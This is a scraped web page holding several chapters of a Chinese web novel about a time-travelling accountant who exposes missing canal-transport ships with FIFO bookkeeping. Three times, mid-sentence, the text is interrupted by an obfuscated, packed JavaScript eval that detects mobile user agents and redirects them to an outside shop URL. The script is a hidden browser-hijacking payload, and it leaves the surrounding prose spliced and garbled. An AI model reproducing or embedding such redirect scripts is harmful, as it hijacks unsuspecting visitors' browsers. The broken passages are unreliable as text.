俗话说官大一级压死人,有时候真不是当官的傲慢,就像今天这种情况,多说一句对方便会曲解你的意思,所以沈瑜春所幸不说,宁可落得一个恃才傲物的民声也不愿意被莫须有的罪名压死。 他们二人说话的音量很小,几不可闻,杨星连走在他们身侧稍微前面一点,背着身子不知道在想什么,姜琰见他老实了一点后,继续小声问道:“可是大人,我不是来看商船的吗,难道不应该自己来?我和你一起出现必然会引起他的戒心啊。” 沈瑜春挑眉:“这你倒不必担心。” 也是,姜琰心想,沈瑜春做什么都有他的思量,她只需要抱紧大腿就好。 “不过”,沈瑜春问道,“姜小姐为何说姜家买过漕运司的船?” 姜琰汗颜:那当然是因为我做了假账。 不过她也不能明说,只能打哈哈糊弄道:“当时情急之下说得胡话而已,大人莫要当真。” 沈瑜春闻言稍稍放缓步子,看着她表情严肃:“下次这种话不能说了,万一被人揪着不放怎么办?” 姜琰看着他认真的神情,仿佛似曾相识,自从她说要入户部以来每当她做出什么出格的事情他都是这副模样,先前她还不懂为何他突然性情大变,但若是她每次都抬头仔细看他的眼睛,就会发现那双眸子里尽是担忧。 这一切都是因为沈瑜春对她的要求不一样了。 从前她没有编制,即使是偶尔帮一下户部的忙她也不必那么循规蹈矩,想骂人就骂了,想这么做就做了,但是如果进了朝廷做了官,一言一行都会被人盯着,说话做事都要有分寸,不然就会被人参上一本,再加上朝廷里各家关系复杂,稍有不慎便会万劫不复。 姜琰知道沈瑜春是为她好,但心里又隐隐约约的不服气,觉得自己也能处理好,于是千言万语复杂的情绪只化作一句:“多谢大人。” 她的神情异常平静,沈瑜春也不知道她明不明白,不过看样子应该是懂得差不多,但是那眼神中的不服气是怎么回事? 他看见了,但是也不恼,只是觉得挺可爱的。 天大地大,多摔打吧。 反正还有他陪着呢。 姜琰见他没说话了,想了一会儿道:“如果我真的有证据呢?” 沈瑜春歪头道:“假的吧。” 姜琰讪笑:“反正......” 沈瑜春厉色道:“不行。” 好吧。 姜琰嘟囔一声,眼见着杨星连带着他们从大厅、主事厅走到后面宽阔的仓库,里面停着各种规格的漕船,杨星连面露骄傲:“大人,这便是漕运司这些年大大小小所有的漕船了。” 沈瑜春不咸不淡地嗯了一声,表示自己知道了,眼神转了一圈,觉得有些不对劲的皱眉:“剩下所有的漕船呢,你们仓库就只有这几只?那如何让我们户部清查船只数量?” 杨星连道:“大人,船当然都开出去了,湖州可是江浙一带粮产最多的地方,人都说湖州熟,天下足,如今这几只还是我从渡口里抠出来的已经快要报废的旧船,专门用作展示。” 他说这话时嘴角止不住地上扬,姜琰见他一副为自己小聪明沾沾自喜的样子,只觉得恶心。 沈瑜春俊颜紧绷,声音愈发冷冽:“所有的船都发出去了?” 他的语音里带着一丝夹杂着威胁的质问,虽然语气还是如往常一样平静,却能让人听出来“敢说谎话你就死定了”的危险。 杨星连此人平日里装可怜惯了,这种人最爱欺软怕硬,遇到官位没他高的,他就当面一套背后一套的给人穿小鞋,遇到官位比他高的,他就装可怜推卸责任,就这么在漕运使司的官职上苟了十几年,竟然也安然无事。 不过他惹到沈瑜春,那算是踢到铁板了,沈瑜春家世显赫,沈家家主虽然对族中子弟颇为严厉,却是出了名的护犊子,所以敢给沈瑜春使绊子的,大多都是圣上为牵制沈家而封赏的其他世家大族或其他王公贵族,很少有比他小的官难为他。 杨星连算是一个。 沈瑜春淡睨着他,眼里的寒光不言而喻,杨星连平日嚣张惯了,官架子摆的大,等看到沈瑜春眼里的杀意一下子醒盹,察觉自己装过头了,小心试探道:“大人,呃,还有几艘船今天出发,正在渡口装货呢。” “去哪的货?” “是送到应天的杉木,修葺皇城用的。” ...... 沈瑜春难得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519417|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在和人对峙的时候沉默。 姜琰大概能明白沈瑜春为什么突然不说话了,这几艘船能看出什么,杨星连既然都这么说了,想必这些都是现造的好船,随便带回去查也看不出什么端倪,他们又陷入了死局。 她不禁思考,到底有什么方法能通过这几艘船戳穿他的谎言? 杨星连见沈瑜春不说话,又开始装起来了:“沈大人若是想看,那便去看吧,这批货倒是不着急,下官写封信送往户部尚书刘大人手里便可,您看......” 他越说,沈瑜春眉头锁得越紧,这时正在疯狂翻阅脑子里系统的姜琰突然想到一种存货计价的方法,稍稍扬起语调问道:“大人可知现在放在渡口的船有几只?” 杨星连正在沈瑜春面前张牙舞爪地炫耀他拿自己没办法,唾沫横飞之时被姜琰打了个措手不及,瞬间不悦地撇着嘴道:“二十只啊,怎么了?” 他心中有些不屑,沈瑜春都拿他没办法,这个黄毛丫头出来显什么眼? 姜琰已经习惯了他的这种神色,自她穿越而来她看到了太多这种表情,人们先是看到她的性别,下意识地认为她“不行”,接近着又是鄙夷她张扬的行事作风,其实当这些人以不屑的姿态看向她时,她只觉得好笑,但凡她手上有面镜子,她都要让这些人看清他们的表情,他们自己都不知道,他们看向她时,眼里甚至多了几分羡艳。 这些人安分守己的活了一辈子,认真的读书上学,参加考试成为秀才,有些人落榜,有些人高中举人从此一路青云直上,他们刚刚为官时,只是这满朝文武里最卑微透明的存在,没人在乎他们的感受,没有话语权的时候只能将上面领导的指示上传下达,有时候顺带着连脾气传下来,运气好的话三五年吧,就会被提拔上去,而倒霉的有的替上司背锅丢了性命,有的弃官逃官最后被困在那个年少之时一直想摆脱的家乡。 大部分人都是这么熬过来的,熬到最后有些人成了朝廷命官,他们顺从上面的命令,小心翼翼地活着,为了挣点钱为难同僚,吃拿卡要,最后变成了当初自己讨厌的上司。 他们大多不敢说真话,不敢肆无忌惮的活着,没享受过人权,无法理解从现代社会穿过来的姜琰。 “她怎么敢的啊。” 他们想。 我为什么就不敢呢? 姜琰知道每当他们这么看着自己时,内心是如何的汹涌澎湃。 若是自己不能回到现代,那漫长的岁月中她怎么适应这种社会机制呢? 既然无法适应,那就去改变。 她回道:“假设先入库的存货先发出,逐笔登记收入船只的数量,造船的成本、卖出船只的单价和总金额,然后按照先进入的船只先发出或者卖出,登记发出船只的成本和结存金额,结合漕运司的船只账簿来看,您的发出存货和期末存货对不上啊!” 杨星连一怔:“......你在说什么乱七八糟的东西?” 姜琰笑道:“这不是您账本上写的吗,根据您每日结算的金额,这笔账对不上啊,你要不解释解释呢?” 杨星连是个只会为虎作伥的草包,根本听不明白她在说什么,还是沈瑜春先一步说道:“把账本拿来”,然后看了一眼姜琰,接着说道,“虽然不太需要,但是还是再拿笔墨来吧。” 35.惊!死对头突然下跪,到底是良心发现还是另有隐情! 小吏将纸笔拿来,姜琰将纸铺开,将漕运司过去一年所有计入仓库和售卖出的船只连同它们的成本、数量、售价都默写在纸上,按照先进先出法计算起来。 杨星连在一旁站也不是坐也不是,目瞪口呆地看着姜琰一字不差地把这些数字写出来,有些着急了:“大人......真的不需要下官把账簿拿出来嘛,这位姑娘背出来的数字万一有偏差怎么办?” 其实数据一点错都没有,关键再让她这么写下去漕运司的底裤都要看光了,他再也不能装得一副宽容和善的模样,背上汗涔涔的,感觉头顶乌纱帽不保。 姜琰伏案埋头苦算,沈瑜春也不打扰,虽然心中有许多疑问,不过大概逻辑还是能看明白的: 比如五月初一,期初结存船只三十只,单价五千钱;初五,入库船只十五只吨,单价三千钱;初六,发出船只三十只;初八,收入船只十七只,单价六千钱;初十,发出船只十只。 由此从初一到初十十天的材料成本便是20*3000+17*6000等于162000钱,以此推算来看,去年一年漕运司最后的期末成本是大于应发出的船只数量的,这笔账对不上。 也就是说,有一批船因为一些“奇怪”的原因莫名消失了。 姜琰解释完她的推算过程,沈瑜春也大致明了,杨星连虽然对算学不太精通,好歹是寒窗苦读爬上来的人,听完以后更是汗流浃背,没有人比他更清楚那批船在哪了。 沈瑜春脸上难得露出一丝笑容,冷眼看向他道:“说说吧,杨大人,你的那批船去哪了?” 杨星连还在垂死挣扎:“大人,难道她说得就一定是对的?” 沈瑜春点点头:“对。” “.......可漕运司每月都有大量的船只买卖,数额庞大,她万一算错了呢!我不服!” 姜琰闻言道:“那大人想怎么办?” 杨星连思忖片刻道:“我认识湖州一位在算学上颇有建树的老先生,让他来算,或许能使人信服。” 姜琰觉得这也太荒谬了,万一这人和他串通好了怎么办? 只是还未开口,就被沈瑜春拉着道:“不成。” “为何?” 杨星连一怔:“为何?” 沈瑜春道:“姜小姐之所以能看漕运司的账簿是因为这是由户部把关,是在我和二位主事的监察下完成的,杨大人你有这个权利吗?” 杨星连涨红了脸,沈瑜春这是说他官阶低,没有权利主事,沈瑜春又说:“况且姜姑娘算得对不对,数字准不准确,难道杨大人不知道吗?杨大人拿来账簿算不就可以了,为何要另寻他人,难道是不信任我和户部的几位大人?” 好好好,沈瑜春也学会了,姜琰想,用绿茶的套路打败绿茶! 杨星连被怼地说不出话,但是他又无法交待失踪的那批船去了哪里,沈瑜春见状也不强人所难,示意其他随行的户部文员把后面车上的账簿搬下来:“杨大人既然不信,那便让以往参与过登记账簿的漕运司吏员同我手下的几位主事一起,再算一遍。” 漕运司的吏员和几位户部主事双双汗流浃背,其实并非是姜琰能力太强,要说账簿上有错误吗,那当然是有的,既然有,几位漕运司的吏员就算了,毕竟杨星连是他们的上司,上司要求他们怎么做账他们能拒绝吗,当然是不能的,他们不能拒绝,可户部几位负责审计的主事呢,他们和杨星连当然是没有任何利益往来的——有的话以沈瑜春的性格是万万不能让他们继续在户部任职的。 那为什么还会有错误出现? ——因为他们的能力实在是有限。 姜琰有系统,相当于在脑子里安了个计算机,再加上古时的会计科目并不多,涉及到的大多数都是资产类和负债类科目,所有者权益类的几乎没有,为她进行核算省了很多事,但这些官员没有,他们只能凭一双手一杆笔一张纸硬算。 沈瑜春此举会狠狠打他们的脸。 姜琰有些担心,但更多的担心是沈瑜春做出这样的举动,自己日后进入户部这些人还愿意和她共事吗? 还有进户部的事情,沈瑜春到底怎么让她进户部? 通过例监参加科举最少也要三四年的时间,况且进入国子监以后还有大大小小许多考试,姜琰的国学水平几乎是没有,文化水平的巅峰便是高考时语文默写满分。 一个将“有朋自远方来,不亦乐乎”背成“有朋自远方来,虽远必诛”的人,怎么通过考试,怎么通过科举做官? 姜琰想想就觉得不可思议。 为了自己以后的仕途着想,姜琰还是拉了拉他的衣袖,沈瑜春侧头询问:“何事?” 姜琰轻咳一声,凑近他耳畔道:“大人你这样也太夸张了吧,和徐主事他们有什么关系啊?” 沈瑜春看了一眼徐营,默默说道:“你看他的表情,你觉得他像是有事的样子吗?” 姜琰说着他的视线看过去,果然,徐营白净的的脸上一片涨红,眉峰紧蹙,上牙紧紧咬住下唇,感觉非常痛苦的样子…… 但是那忍不住上扬的嘴角是怎么回事? 徐营他在憋笑? 为什么? 沈瑜春让他们现场算账,算不出来那可是非常丢人的,这有什么值得开心的? 沈瑜春没有接着解答她的疑惑,而是对她游刃有余地挑眉:“你且看吧,这不一定是坏事。” 姜琰带着疑问接着看下去,沈瑜春收拢视线,眸凝寒光:“既然杨大人有疑问,那便按大人说的,把账本再算一遍,今天算不完就不要回家了,明天接着算。” 姜琰觉得有些窒息了,以前上班的时候最不想听到的就是这句话,她刚想开口为打工人争取适当的权益,就被在一旁一直和徐营“眉来眼去”的辛景和拉住:“刘……姜小姐!你别着急了!你真以为沈大人不让他们回家?这要是被人在朝上骂了怎么办?你放心,大人他自有分寸!” 姜琰听出不对:“辛大人,你说漏嘴了。” “……啊?有吗,哈哈哈哈哈哈……”他抬头望天,“你看今天天气不错呢……” 姜琰是个较真的人:“辛大人,你是不是早就知道我是谁了?” 辛景和见逃不过,拉长脸道:“哎呀,姜小姐,你的伪装实在算不上高超,虽然乍一看没什么问题,但仔细一琢磨实在是漏洞百出啊!” 姜琰有些担忧,倒不是因为自己暴露了身份性别,而是害怕他们说出去,人性难以捉摸,万一有一天就将她告发了呢? 见姜琰突然沉思,辛景和挠挠头,酝酿着措辞:“姜小姐不必担心,无论是从实力还是品性,你进入户部都是当之无愧的,况且你进来之后对整六部甚至是朝廷都是百利无一害的,况且皇上也是个开明的人,若只因为你是女子而放弃了这么一个人才,那是我南胤的损失啊!” 姜琰怔忪片刻,毕竟这是她第一次从辛景和嘴里听到这么正经的话,想了半天也不知如何回应,只能声音放柔道:“多谢……” 可是辛景和好像并没有听到这声道谢,而是接着自顾自说道:“姜小姐才智过人,这是应该的……应该的。” 他看起来并不像是和她说话的样子,双眼看着前方但是眼神又空洞洞的,根本不像在看东西,反而更像是在回忆过去。 “咳咳。” 姜琰一个激灵看向沈瑜春,对方眼神炽热,只是这抹热烈转瞬即逝,他示意姜琰顺着他的目光向前看,前方徐营他们已经在对账了,姜琰慢悠悠地蹭到他的身边,见这些人的焦点都不在他们二人身上,于是问道:“沈大人这下可以告诉我今天是唱的什么好戏了吗?” 沈瑜春浅笑道:“你说的是哪一出?” 姜琰直接问道:“比如徐主事奇怪的态度?” 沈瑜春尾调拉长地“哦”了一声道:“他为什么这么开心?当然是因为这一堆人里他讨厌人。” 听他这么说,姜琰的八卦之心彻底燃起来了,眨巴着大眼睛问道:“谁啊谁啊,让我看看,是不是他旁边的那个人?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533724|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈瑜春摇摇头,姜琰无限烦恼,“唔”了一声道:“那应该就是他左手边那个……不对,不对,最右边那个,你看他看他的眼神……啧啧啧……” 沈瑜春失声笑道:“哈哈,你可知户部在十三布政使司均设清吏司,而徐营是江西清吏司的主事?” 姜琰道:“这我还真不知道,只是徐大人若是江西清吏司的主事,为何随大人一起巡检?” 沈瑜春的眼神沉沉:“徐营原来便是浙江清吏司的主事,你看右数第二个人,那便是现在的清吏司主事戴新如。” 她的目光移过去,只见徐营的目光总在他身上打转,此人长得倒是白净清隽,身形偏瘦,身姿挺拔,是以并不显得病怏怏的,反而精气神十足,脸上又总是带着笑,看起来如沐春风的,如此对比下来,隔着一个人阴测测地看向他的徐营倒是显得有些阴鸷古怪了。 其实徐大人是个很好说话的人,能让他记恨上的人不多,至于那位戴大人,感觉也是个面善的主,不至于和人结仇到如此地步,更何况是待人和善的徐营徐大人。 二人之间究竟发生了什么? 姜琰搓搓手道:“……难道他们是挚友反目?” 昔日志同道合的好友因为各自立场不同拔刀相见,好一出狗血的大戏! 她的脑海里已经编排出了一场“你爱我我爱他他不爱他”的话本,眼神逐渐冒出绿光,沈瑜春适时伸手在她面前晃了晃,打断了她奇怪的想法,一脸奇怪的看着她道:“想什么呢?” 姜琰“啊”了一声道:“这个……可是二位大人看起来也不像是会吵架的人啊。” 沈瑜春道:“那确实,可是人心不可估量。” 姜琰正等着他继续说下去。 “徐营出身吴郡富春徐氏,是江浙一带的世家望族,戴新如是他家马车夫的儿子。” “他们从小就是好朋友?” “好朋友?”沈瑜春重复道,随后轻笑了一声,“他们从小就是死对头。” “据徐营自己说,戴新如的父亲原来和徐家主是战友,为了在现场,上救他没了一条腿,徐家主问他的父亲有什么愿望没,戴新如的父亲说只想让孩子好好读书,于是戴新如遍和徐营一同上学,相当于伴读,但他们二人从小就不对付——很难想象两个脾气这么好的人私底下是怎么吵架的,总之一个觉得对方瞧不起人,另一个觉得对方很讨厌自己,但是迫于徐家主和戴父的关系压力,二人还是一同长大了。” “科举那日放榜,徐营不出所料的高中榜眼,当了翰林院编修,戴新如差一点,只能当个地方小官,本来他们都以为这辈子不会再见了,结果那年山东大旱,时任山东布使的贾青冒领赈灾款,圣上大怒,把涉及贪污的官员屠了个干净,朝廷突然缺人,徐营和本来应该去地方的戴新如统统进了户部当起了左右给事中。” 也就是秘书员。 “这下二人又见面了,因为能力出众,不过三年,二人又被双双提拔为清吏司主事,原本不合的两个人在又遇到了问题。” 姜琰想想也知道是什么:清吏司是户部的地方办事处,也就是相当于公安局和派出所的关系,徐营出身吴郡富春,自然是想当浙江的清吏司主事,这边家里有人打点关系,又是富庶之地,一辈子不升官也无所谓,至于戴新如,估计也是想来浙江的。 沈瑜春知道姜琰已经明白了,接着说道:“当时已经定好了,徐营来浙江,戴新如去江西,结果带,父突然病重需要人照看,戴新如回浙江的想法更加强烈了,了他没关系,上面因为徐家的原因也不好松口,戴新如找到徐营,跪下求他让他去浙江。” 姜琰惊呼出声,没有什么比昔日死对头跪下更具有冲击力了,想必当时徐营也吓了一跳。 不过按照现在的情况来看,戴新如已经如愿了,为什么他们还不对付? 就在沈瑜春正要开口之际,前方的徐营突然叫到:“哈哈!我就说了你没去算对,怎么样虚颜,过了这么久你还是我的手下败将!” 36.第 36 章 姜琰被这声兴奋的吼叫吸引了过去,此时徐营拿着一张纸,用笔杆敲打着那张纸道:“按照姜小姐的算法,你们漕运司去年少了三十艘船的成本,这是怎么回事?你身为浙江清吏司监管不力!” 戴新如冷哼道:“疏桐兄也别急着将错都推到我头上,去年漕运司的账可都是令人重抄了一本送到应天去了的,那时你已经在京中,竟然没有注意到这账面的错误?” 徐营“嘿”声道:“这么说你承认漕运司的账务有错了?” 戴新如努嘴道:“我可没承认。” “你……” 姜琰看着两个文质彬彬的青年才俊互扯头花实在是稀奇事,引得一些知情不知情的同僚们纷纷望过来,戴如新白净斯文的脸上开始泛红,徐营倒是脸皮比他厚一点,继续说道:“那你说你为什么不知道这三十艘船的去处?” 戴新如静默一瞬,平静地说道:“我不知道。” 他抬眼看向徐营,目光里满是寒气:“你有什么权利质疑我?我们是平级,若是要问,也应该是沈大人问责吧?” 徐营瞬间安静下来,神色慌张地看向周围的人,这些人平日里与他算不上交好,点头之交而已,他当着这么多人的面质问戴新如,这些人会不会从此记下来等着什么时候参他一笔? 可这个戴新如,实在可恨! 姜琰见他们之间的恩怨颇有愈演愈烈的趋势,然而沈瑜春还站在她的身旁没有上前调解,有心提醒他道:“沈大人不去劝劝?万一打起来怎么办?” “打起来?”沈瑜春好像听到了什么好玩的事情,坚定地说道,“不会。” 姜琰对他们这对宿敌充满了好奇,还想再问,却听沈瑜春主动开口说道:“若是真那么恨戴新如,他就不会去江西清吏司了。” 沈瑜春接着把故事说下去:“徐营虽然和戴新如不对付,但也没真的厌恶他到要让他和父亲生死离别,于是当晚就去找陶大人,哦,也就是户部尚书陶随,陶大人,让他将戴新如的事情告知圣上,望圣上收回成命,可那时沈家得圣上亲近,杭州知府初云升贪污初现端倪,为了在江浙地区对他形成制衡,圣上还是决定让徐营上任湖州。” “那难道是徐营没和戴新如说清原因?若真是如此,戴大人实惨,可也怨不上徐大人吧。” 沈瑜春看着徐营道:“你觉得徐营是能吃哑巴亏的那种人?” 姜琰转头看向面前叭叭叭叭和机关枪一样宣泄自己多年不满的徐大人和坐在他右侧一言不发的戴大人,肯定地答道:“不像。” “是吧……”沈瑜春表示赞同,“圣旨下来的那天徐营就去找戴新如说清了,戴新如当时也和现在一样什么都没说,一个月以后,就在徐营到任的那天,戴父去世了。” “而戴新如此时正在去江西的路上。” 是啊,这边高朋满座,那边白绸飘扬,若是换作姜琰,她怕是这辈子都不会原谅徐营了。 姜琰听完这个故事,心里空落落的,定定地看着他们,沈瑜春伸出手想要拍拍她的肩膀安慰一下,却在想到她现在是女儿身时默默收回,他只能安慰她道:“不过没事,一年以后戴新如就在回朝禀报的时候抓住徐营处理税赋上的一个错误,那个时候正好徐营的大哥战败,为了敲打徐家,戴新如成了现在的浙江清吏司主事。” “……” 看来戴大人也是个记仇的人啊。 听到这儿她大概明白为什么两个人的关系到现在都无法缓和了:徐大人是天之骄子,性子上难免有些少爷脾气,却遇到个从小是块硬骨头的戴大人,两个人还因为父辈的关系不得不一起长大,想必幼时也被不少世家子弟嘲笑,戴父生病他完全可以当作视而不见,可他却为了这件事让圣上重新考量自己的仕途问题,在他看来自己已经做得很很不错了;但站在戴大人的角度上,他爹和徐家主是生死之交,为了救他甚至断送了一条腿,没人会要个瘸子干事的,戴新如从小就被迫和徐营一起长大,逢人便对他说要懂感恩,是家主好心收留了你们一家,你还能和沈少爷一起上学,是你八辈子修来的福分。 戴新如估计也纳闷,自己好像也不必徐营差,他们为什么要这么说? 等到了为官之时,这种“捆绑”的关系就更加明显了,徐营注定是要飞黄腾的,自己只能乖顺地听从上面领导的安排,他又不能失去这个官职,自己也没有反抗的能力,就因为这个,他只能再次重复父亲的命运——或者是屈辱但光荣地活着,或者是光荣但屈辱的死去。 他只有这两条路可以选。 哪怕是他羽翼丰满了,在朝廷里有自己的一席立足之地,他也无法摆脱被别人当作棋子的命运。 就像他现在能当上浙江清吏司的主事,看起来是他扳倒了徐营,其实只是徐家不受圣上宠爱罢了,自始至终这些都和他无关,没有他戴新如,还会有别人在这个时机上谏来浙江的。 他们二人都是何等聪明的人,能不知道对方这么多年到底在怨恨什么吗,可他们又有谁能解开这个误会呢? 没有人,因为所有人都没错。 这便是无解。 姜琰觉得这就是上班的痛苦,或许等他们五十多岁退休或者告老以后这种怨恨会减轻很多。 沈瑜春见他们吵得差不多了,也不去理徐营和戴新如两人,而是直接对着杨星连道:“杨大人,要算我们也算出来了,该解释解释那三十艘船是怎么没得了吧?” 杨星连不说话。 沈瑜春嗤笑道:“没事,不说话也没事,来人,把他拿下。” 身后飞出数十道黑影,一拥而上将他扣住。 姜琰被其中一两个飞窜而出的人不小心撞到,差点跌倒,幸好被沈瑜春及时扶住,她头晕眼花地堪堪站定,发现刚才跑出来的人竟然是湖州知府里的衙役。 杨星连何时被人这么对待过,衙役将他按在地上,瞬间将他身上的细皮嫩肉擦出血道。 他狼狈地骂道:“沈瑜春!你诬陷朝廷命官,等圣上知道这件事后有你好果子吃!” 沈瑜春冷哼道:“朝廷命官?你也配?来人把他带走押入知府大牢,等我带回京中询问!” 姜琰却越听越不对劲,什么叫带回京中询问,他们不能自己找到那三十艘船吗,如果不能,她的任务怎么办? 杨星连一边破口大骂一边被人拖走,姜琰等人走得差不多了,赶紧抓住沈瑜春问道:“沈大人,为何将杨星连带回京中询问?” 沈瑜春不知道她有系统,只以为是她觉得他们小题大做,耐心解释道:“那三十艘船应该早就被杨星连销毁了,若是能找到那几艘船去了哪,或者找到有问题的船,证据确凿可能在湖州定罪,但是漕运使司是正三品官衔,属于朝廷要员,就算在湖州定罪,也要将他押至应天,待大理寺卿亲自审问以后,再决定量刑多少。” 姜琰听着,只觉得任务非常艰巨,如果杨星连嘴够硬,那么沈瑜春很有可能为了不耽误时间直接让人把他押解至京中,这样她调查三明堂的时间就缩短了,很有可能影响她的任务完成情况,现在唯一的办法是赶快找到那三十艘船,或者找到有问题的船只拖延时间,让沈瑜春再花点时间调查一下铸铁局,这样她就有充足的时间找到三明堂出事真相或者三明堂的掌柜。 钱庄的分散的钱都在湖州的这几个消失的商行里,只要找到其中一个商行消失的原因,那么追回钱庄的钱就指日可待了。 可是上哪找有问题的船啊! 姜琰紧皱着眉,心里突然生出一股烦躁之意。 【请宿主尽快解决钱庄事宜,任务奖励-剧情任务奖励:任务完成将促进女商人入朝为官先例。】 姜琰一愣,呆呆地停在原地,头上的太阳毒辣,潮湿闷热的空气似是一张湿帕捂住了她的眼鼻,前方雾茫茫一片,她看不清楚,偶尔有几阵风吹过勾起她鬓边的碎发,须是头上发饰太沉了,压得她有些脑痛,她的心脏疯狂震动,瞳孔剧烈地收缩了一下。 她问系统道:“你说什么制度?” 【女商人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546497|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入朝为官的制度。】 这大概是一项还未开启的制度,因为它还没有个准确的名字,或许只是一种模糊的概念。 但是她却莫名地激动。 完成这项任务她就可以入朝为官了么? 姜琰想着,身子轻飘飘的,但是头却越来越沉,视线还是很模糊,她感觉一阵天旋地转,自己好像要晕倒了。 在她失去意识的那一刻,又有人接住了她,入鼻便是白兰香。 姜琰安稳地睡了一两个时辰后在陌生的房间里醒来了。 此时大概是未时,因为太阳还没完全落下,正在偏西的方向恣意闪耀着,床前的窗牖半开半合,很明显是有人特意将它关成这样的。 “吱呀”一声门开了,姜琰向外望去发现沈瑜春端着药进来,待他走进,她又问到那股好闻的兰香。 那是一种淡淡的、不像其他花香浓烈的味道,不仅如此,姜琰闻着还有一种冷冽、不易亲近的感觉。 就像沈瑜春这个人一样。 沈瑜春把药递给她道:“你中暍了,把这个喝了吧。” 中暑古称中暍,姜琰也觉得自己其实没有那么虚弱,估计是太阳底下站久了,又因为听到系统奖励太过开心,一时间晕倒了。 看着眼中褐色的汤水,姜琰下意识拒绝道:“不过是在太阳底下站久了而已,不用喝吧……” 揪痧不就好了? 沈瑜春没放过她:“喝。” “……一看就很苦,我拒绝。” 喝中药简直是世界十大酷刑之一,姜琰真想说如果杨星连不招的话干脆给他喂碗中药得了,这样既不会因为严刑拷打落下话柄,还能给敌人以致命的一击。 沈瑜春将声音放轻,有意无意地用温柔的声音诱哄道:“我放了糖,应该会好点。” “喝吧。” 姜琰可怜兮兮地看了他一眼,无奈对手定力太强,不会被她轻易打动,甚至端着药的手还向她的嘴边凑近了一点,姜琰怕她在不喝沈瑜春会灌进她的嘴里,之后拿过碗,小心地将药汤碰了一下嘴唇尝尝味道。 还行,是甜的。 味道不苦,姜琰见状便捧着碗一口气喝干净了。 这个药的味道有点像加了糖的藿香正气水,不是让人难以接受的程度。 一碗下去,姜琰感觉浑身爽利不少,想问问沈瑜春这个药是用什么煎的,感觉和藿香正气水的配方差不多,只不过藿香正气水是中成药,里面有乙醇,南胤现在肯定还没有乙醇这个东西,要是把药方要过来,到时候三伏天再摆个摊位,那岂不是利滚利滚利。 她仿佛看到了无限商机,问沈瑜春道:“这个药是谁开的啊,我想问问药方,以备不时之需。” 沈瑜春直接戳穿她道:“你其实是想拿到药方自己出去卖吧。” “嗬嗬……嗬嗬……”姜琰心虚地笑了两声。 沈瑜春目光望着她,突然有些伤感道:“这是宁泊远给我熬过的,据说还能治疗风寒。” “是啊……”姜琰也跟着感慨道,“若是能审出来,也请大人替他报仇吧。” 沈瑜春看向她,眼神幽深,琉璃似的眼睛里流淌着坚定的光:“我们一起。” 姜琰又想到了宁泊远沉船的那天,宁泊远的死,立春堂和漕运司的关系…… 等等? 姜琰突然灵光一闪,如果宁泊远的死真的和这两者脱不开关系,那有没有一种可能宁泊远坐的是漕运司的船呢? 立春堂为什么要让他们坐船?坐车不行吗? 她看着沈瑜春,拉了拉他的袖子。 沈瑜春低头,温柔地问道:“怎么了?” 姜琰道:“宁泊远坐的那艘船是因为什么出事的?” 沈瑜春道:“好像是船哪里坏了。” 姜琰道:“有没有一种可能……他坐的那艘船是漕运司的?” “你是说……” 沈瑜春反应了一瞬,和她异口同声道:“这船现在在哪?!” 37.第 37 章 在去府衙的路上,姜琰再次不放心地问道:“大人,咱们就这么去了?” 沈瑜春脚底生风:“不然?” 姜琰将自己的担心说出来:“若是府衙的知州大人和杨星连有利益关系怎么办?他难道不会包庇他吗?” 沈瑜春丝毫没有放慢脚下的步伐,依然是昂头向前走着:“知州苏大人,曾是我父亲手下的门生。” 姜琰不知道该怎么回他了,心道人终究是会变得,哪怕当时的苏大人立志为天地立心,为生明立命,但时过境迁,这么多年,人的心态终究是会变化的。 她欲言又止地看向沈瑜春,犹豫很久后抛出了自己的疑问:“我有一事不明。” 沈瑜春身形一顿,顺着她这句话说出了她的问题:“你是想问既然苏大人是个好官,为何会对账房沉船一事睁眼闭眼?” 姜琰点点头,是了,如果苏巍真的初心不变,为何不严查府内种种诡谲事端? 沈瑜春却道:“你去看了就知道了。” 谈话间二人已到府衙,姜琰几欲停下,可沈瑜春还在继续向前走,姜琰见状指着府衙道:“大人不是在这儿吗……诶?你拉我干嘛?” 姜琰还没站定,沈瑜春拉着她伸出来的手道:“不去府衙。” 姜琰发懵道:“知州不在府衙,那在哪?” 沈瑜春向前走了几步,目光沉沉:“苏大人这个月初就开始告病在家休养,目前湖州辖内的各项事宜,是由同知莫大人代理。” 怪不得,姜琰心想,怪不得要去找知州,感情是因为苏大人身体不好逃过一劫,要是找得是同知莫大人,他们又要吃闭门羹了。 府衙离知州宅邸并不远,两处在一条街的一条巷子里,大概走十几步便到了,只不过虽然在一处,但周遭环境却是天差地别,府衙在城中心,周围是络绎不绝的车马和叫喊的商贩,热闹极了,而苏大人宅邸在巷子深处,越往里走,越僻静寒酸。 